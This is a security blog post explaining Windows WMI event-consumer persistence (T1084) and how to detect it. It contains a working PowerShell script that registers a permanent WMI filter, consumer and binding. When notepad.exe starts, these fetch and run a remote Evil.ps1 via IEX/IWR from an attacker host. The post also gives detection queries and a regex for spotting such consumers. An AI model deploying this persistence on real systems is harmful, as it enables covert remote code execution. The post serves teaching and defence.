WMI Persistence (T1084)
Now, Let’s jump straight into the first section of our blog post which is meant as a short introduction to key terms such as WMI filters, consumers1 and bindings.
Introduction
In comparision to traditional persistence mechanisms such as autostart, services, scheduled task or run keys (registry), WMI event consumers are one of the lesser know persistence mechanisms in Microsoft Windows. Even the most seasoned windows administrators will rarely get in touch with WMI event consumers. The lack of knowledge about this persistence mechanism is the main reason why WMI event consumers are so popular among threat actors.
WMI at it’s core is a database (%windir%\System32\Wbem\Repository
) which contains standardized definitions of system information, which can be collected from different parts of the operating system and it’s components. This information is organized by using namespaces and classes. A big part of the class definitions in the WMI repository (database)2 stem from WMI providers which are responsible for monitoring and collecting information from managed objects such as processes, services or other parts of the operating system. This information is then made available by providing a uniform interface for WMI clients that can query management data from computer systems. When a WMI client queries data from a specific WMI provider3 class, WMI will dynamically fetch the data from the responsible WMI provider.
One of the greatest features of WMI is that it allows us to subscribe to specific system events like process starts by subscribing to event notifications4 from WMI providers such as the Win32_Process
5. Whenever a specific system event occurs like for example a process start then the responsible WMI provider will be notified about this event. Subscribing to reguraly occuring system events is a good way to maintain persistence.
If you are interested in a detailed introduction to the the WMI architecture take a look at this.
Gaining Persistence
What are these mysterious WMI event consumers? You might ask yourself at this point. To find an answer to this question let’s take a look at the official documentation provided by Microsoft which can be found here.
“Event consumers are applications or scripts that request notification of events, and then perform tasks when specific events occur. You can create event monitoring scripts or applications that temporarily monitor when events occur.”
There are two types of event consumers, “temporary event consumers” and “permanent event consumers”6. For the majority of threat actors it is desirable to maintain persistence for as long as possible, therefore it is highly likely that permanent event consumers will be used. The following PowerShell-Script named Get-WmiPersistence.ps1
is an example of how PowerShell can be used to gain persistence on a compromised windows machine.
In the first part of the PowerShell-Script we use the Set-WmiInstance
7 cmdlet to instantiate the WMI class __EventFilter
. In simple terms event filters are the conditions used by WMI to decide when to execute the associated event consumer (defined later in this script). As can be seen in the excerpt below the condition is defined using the WMI Query Langauge (WQL)8. The presented WQL query requests that WMI check every 5 seconds for the creation of instances of the Win32_Process
class, which have the name notepad.exe
. If an instance of the class is created within the specified polling interval, a notification event is sent. This results in the execution of the WMI event consumer. To put it in a nutshell, everytime an instance of notepad.exe
is created the WMI consumer associtated with this event filter will be executed.
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/CIMV2'
Name = 'Malicious Filter'
Query = 'SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA "Win32_Process" AND TargetInstance.Name = "notepad.exe"'
QueryLanguage = 'WQL'
}
In the second part of our PowerShell-Script a malicious commandline event consumer is defined which will be executed whenever the filter condition is met. There are different types of event consumers but the most popular among Threat Actors are CommandLineEventConsumer
(used here) and ActiveScriptEventConsumer
9. The main difference between these two is that the first one is used to launch processes while the second one is used to execute scripts.
In this example a powershell.exe
process will be launched each time the filter condition is met (start of notepad.exe
). The powershell.exe
process uses Invoke-WebRequest
10 (IWR) to download a malicious PowerShell-Script named Evil.ps1
from the HTTP-Server 10.0.2.15
controlled by the Threat Actor. The contents of the malicious PowerShell-Script Evil.ps1
are evaluated by Invoke-Expression
11 (IEX), which leads to their immediate execution on the compromised windows machine.
$Command = 'powershell.exe -Command IEX (IWR http://10.0.2.15:1337/Evil.ps1)'
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name = 'Malicious Consumer'
CommandLineTemplate = $Command
}
In the last part of the PowerShell-Script Get-WmiPersistence.ps1
the event filter and the event consumer are bind together. Which creates the necessery associtation between those two instances:
Set-WmiInstance -Name root\subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $Filter
Consumer = $Consumer
}
If you would like to experiment a little by yourself the complete PowerShell-Script Get-WmiPersistence.ps1
can be found here.
Execution of notepad.exe
As soon as the victim starts a new notepad.exe
process the WMI filter gets notified about this event and the associated WMI consumer gets executed.
This leads to the execution of the PowerShell command definied in the commandline event consumer (powershell.exe -Command IEX (IWR http://10.0.2.15:1337/Evil.ps1)
). Please also note that commandline event consumers are executed by the parent process WmiPrvSE.exe
as can be seen in Figure 1. In comparison to commandline event consumers, active script event consumers get executed by the process scrcons.exe
.
On the attackers side the execution of the PowerShell command definied in the commandline event consumer results in a HTTP-Request from the compromised windows machine as shown in Figure 2. The requested ressource Evil.ps1
gets transfered to the victims machine, where it is executed immediately.
The contents of Evil.ps1
are left to the imagination of the reader ;-).
Detecting WMI Persistence
The easiest way to check if there are malicious WMI consumers installed on a system is to use the PowerShell cmdlet Get-WmiObject
12. This cmdlet allows us to query the root\Subscription
namespace for instances of the class CommandLineEventConsumer
. The regex shown in Figure 3 is used to filter for commandline event consumers which indicate malicious PowerShell usage. As presented in Figure 3 we were able to locate the malicious commandline event consumer installed previously with the help of the PowerShell-Script Get-WmiPersistence.ps1
.
Get-WmiObject -Namespace root\Subscription -Class CommandLineEventConsumer | Where CommandLineTemplate -iMatch "(http(s)?\:|\.ps1|iex|iwr|webclient|([a-z]{3,}\-[a-z]{3,} ))"
Depending on the logging capabilites available in your organization another great way to detect malicious WMI consumers is the use of event id 5861 from the Microsoft-Windows-WMI-Activity
log. In the exmaple below event id 5861 informs us about the creation of a permant commandline event consumer named Malicious Consumer
, with a CommandLineTemplate
value of powershell.exe -Command IEX (IWR http://10.0.2.15:1337/Evil.ps1)
.
Looks familiar right? ;-).
Final Thoughts
The lack of knowledge about WMI consumers and the resulting blind spot in the detection capabilities of many organizations is the reason why threat actors such as Cozy Bear or Turla tend to use WMI for persistence purposes. Since Microsoft provides excellent logging capabilities to detect malicious WMI activity there is no more execuse for not being able to detect these kinds of attacks.
If your are interestend in learning more about malicious WMI activity and how to detect it you should definitely check out the following two blog posts “Basics of Tracking WMI Activity” by @Carlos_Perez and “Following the trace of WMI Backdoors & other nastiness” by @darkQuassar.
Want to see something else added? Open an issue.